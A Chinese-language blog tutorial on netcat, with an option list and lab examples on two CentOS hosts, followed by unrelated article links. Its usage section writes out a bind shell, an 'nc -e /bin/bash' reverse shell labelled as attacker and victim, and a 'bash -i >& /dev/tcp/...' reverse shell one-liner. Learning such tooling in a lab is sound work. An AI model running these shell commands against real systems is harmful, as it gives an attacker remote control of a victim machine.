NCcat学习使用
一、使用手册
1.简介:nc/NetCat是一款端口监听工具,可以用来建立系统之间的连接、传输文件、TCP代理等。
2.命令参数
nc [-options] hostname port[s] [ports] …
监听端口等待连接:nc -l -p port [-options] [hostname] [port]
主要参数[options]:
-d 无命令行界面,使用后台模式
-e prog 程序重定向 [危险!!]
-g gateway 源路由跳跃点, 不超过8
-G num 源路由指示器: 4, 8, 12, ...
-h 获取帮助信息
-i secs 延时设置,端口扫描时使用
-l 监听入站信息
-L 监听知道NetCat被结束(可断开重连)
-n 以数字形式表示的IP地址
-o file 使进制记录
-p port 打开本地端口
-r 随机本地和远程的端口
-s addr 本地源地址
-t 以TELNET的形式应答入站请求
-u UDP 模式
-v 显示详细信息 [使用=vv获取更详细的信息]
-w secs 连接超时设置
-z I/O 模式 [扫描时使用]
端口号可以是单个的或者存在一个范围: m-n [包含值]。
3.简单使用:
测试环境:
操作系统:centos 7.7
nc版本:7.50
系统A:192.168.226.128
系统B:192.168.226.129
(1)文件传输
系统A命令:nc -l -p 8978 > ./tmp.txt
系统B命令:nc -v 192.168.226.128 8978 < ./test.txt

(2)正向远程连接
主要使用nc危险参数-e将受害者系统A的/bin/bash重定向到本地某端口8978,然后攻击者系统B连接远程端口8978
系统A命令:nc -t -e /bin/bash -l -p 8978
系统B命令:nc -v 192.168.226.128 8978

(3)反向连接
攻击者系统B监听本地端口8978,然后在受害者系统中使用nc危险参数-e将受害者系统A的/bin/bash重定向连接到远程端口8978。
系统B命令:nc -lvp 8978
系统A命令: nc -t -e /bin/bash 192.168.226.129 8978

补充:
使用bash -i >& /dev/tcp/192.168.226.129/8978 0>&1也可以进行反弹shell连接
系统A命令:bash -i >& /dev/tcp/192.168.226.129/8978 0>&1
系统B命令:nc -lvp 8978
--broker参数可用于数据转发代理使用(参考https://www.jianshu.com/p/a2c89231e0c9)
参考链接
https://blog.csdn.net/bcbobo21cn/article/details/52095914
https://www.cnblogs.com/kankanhua/p/5843608.html
https://blog.csdn.net/phone15062117684/article/details/79039735
NCcat学习使用的更多相关文章
- 从直播编程到直播教育:LiveEdu.tv开启多元化的在线学习直播时代
2015年9月,一个叫Livecoding.tv的网站在互联网上引起了编程界的注意.缘于Pingwest品玩的一位编辑在上网时无意中发现了这个网站,并写了一篇文章<一个比直播睡觉更奇怪的网站:直 ...
- Angular2学习笔记(1)
Angular2学习笔记(1) 1. 写在前面 之前基于Electron写过一个Markdown编辑器.就其功能而言,主要功能已经实现,一些小的不影响使用的功能由于时间关系还没有完成:但就代码而言,之 ...
- ABP入门系列(1)——学习Abp框架之实操演练
作为.Net工地搬砖长工一名,一直致力于挖坑(Bug)填坑(Debug),但技术却不见长进.也曾热情于新技术的学习,憧憬过成为技术大拿.从前端到后端,从bootstrap到javascript,从py ...
- 消息队列——RabbitMQ学习笔记
消息队列--RabbitMQ学习笔记 1. 写在前面 昨天简单学习了一个消息队列项目--RabbitMQ,今天趁热打铁,将学到的东西记录下来. 学习的资料主要是官网给出的6个基本的消息发送/接收模型, ...
- js学习笔记:webpack基础入门(一)
之前听说过webpack,今天想正式的接触一下,先跟着webpack的官方用户指南走: 在这里有: 如何安装webpack 如何使用webpack 如何使用loader 如何使用webpack的开发者 ...
- Unity3d学习 制作地形
这周学习了如何在unity中制作地形,就是在一个Terrain的对象上盖几座小山,在山底种几棵树,那就讲一下如何完成上述内容. 1.在新键得项目的游戏的Hierarchy目录中新键一个Terrain对 ...
- 《Django By Example》第四章 中文 翻译 (个人学习,渣翻)
书籍出处:https://www.packtpub.com/web-development/django-example 原作者:Antonio Melé (译者注:祝大家新年快乐,这次带来<D ...
- 菜鸟Python学习笔记第一天:关于一些函数库的使用
2017年1月3日 星期二 大一学习一门新的计算机语言真的很难,有时候连函数拼写出错查错都能查半天,没办法,谁让我英语太渣. 关于计算机语言的学习我想还是从C语言学习开始为好,Python有很多语言的 ...
- 多线程爬坑之路-学习多线程需要来了解哪些东西?(concurrent并发包的数据结构和线程池,Locks锁,Atomic原子类)
前言:刚学习了一段机器学习,最近需要重构一个java项目,又赶过来看java.大多是线程代码,没办法,那时候总觉得多线程是个很难的部分很少用到,所以一直没下决定去啃,那些年留下的坑,总是得自己跳进去填 ...
随机推荐
- vue+node+elementUI实现注册功能
后端代码 在后端的文件 routes文件夹下的connect.js文件中 // 引入mysql const mysql = require('mysql'); // 创建连接对象 const conn ...
- pycharm安装pymysql包
1.为什么? 每个程序连接数据库,python开发2.*版本可以直接使用MySQL,python3.*版本需要下载使用PyMySQL包才能连接数据库... 2. 怎么做? 2.1. 更改源:pycha ...
- 文件名工具类 MoFileNameUtil
文件名工具类 MoFileNameUtil MoFileNameUtil public class MoFileNameUtil { //不包含点号 public static String getF ...
- http与Rpc
RPC即远程服务调用 出现原因:随着项目越来越大,访问量越来越大,为了突破性能瓶颈,需要将项目拆分成多个部分,这样比起传统的项目都是本地内存调用,分布式的项目之间需要在网络间进行通信 服务之间的远程调 ...
- Paper | Toward Convolutional Blind Denoising of Real Photographs
目录 故事背景 建模现实噪声 CBDNet 非对称损失 数据库 实验 发表在2019 CVPR. 摘要 While deep convolutional neural networks (CNNs) ...
- 在Ubuntu18.04.2LTS上遇到的问题汇总
在Ubuntu18.04.2LTS上遇到的问题汇总 一.前言 在新版的Ubuntu上在桌面右键没有新建文档的按钮着实让人难以接受,其实只要稍微理解就能明白设计者的良苦用心,因为这样便于扩展性和自定 ...
- JDBC的安装与使用
JDBC的安装 首先在登录MySQL的官网下载JDBC-MySQL数据库驱动,或者去www.mysql.com/products/connector直接下载. 因为jdbc包属于第三方包,因此要自己导 ...
- Linux iSCSI 磁盘共享管理
Linux iSCSI 磁盘共享管理 iSCSI 服务是通过服务端(target)与客户端(initiator)的形式来提供服务.iSCSI 服务端用于存放存储源的服务器,将磁盘空间共享给客户使用,客 ...
- Docker 指定数据储存目录
Docker 指定储存目录(原参数 --graph 已经失效 .) 方法一 一.在 Docker 配置文件中配置 /etc/docker/daemon.json 下面的命令是在 daemon.json ...
- Microsoft.Windows.Controls.Ribbon.RibbonWindow 碰到 AvalonDock出现的诡异现象
部分一 14年底进入目前公司时,领导准备开发一款新软件平台以取代原有平台.原平台采用C++Build开发界面(window c/s客户端) .Visual Studio(封装dll模块).过完年,领导 ...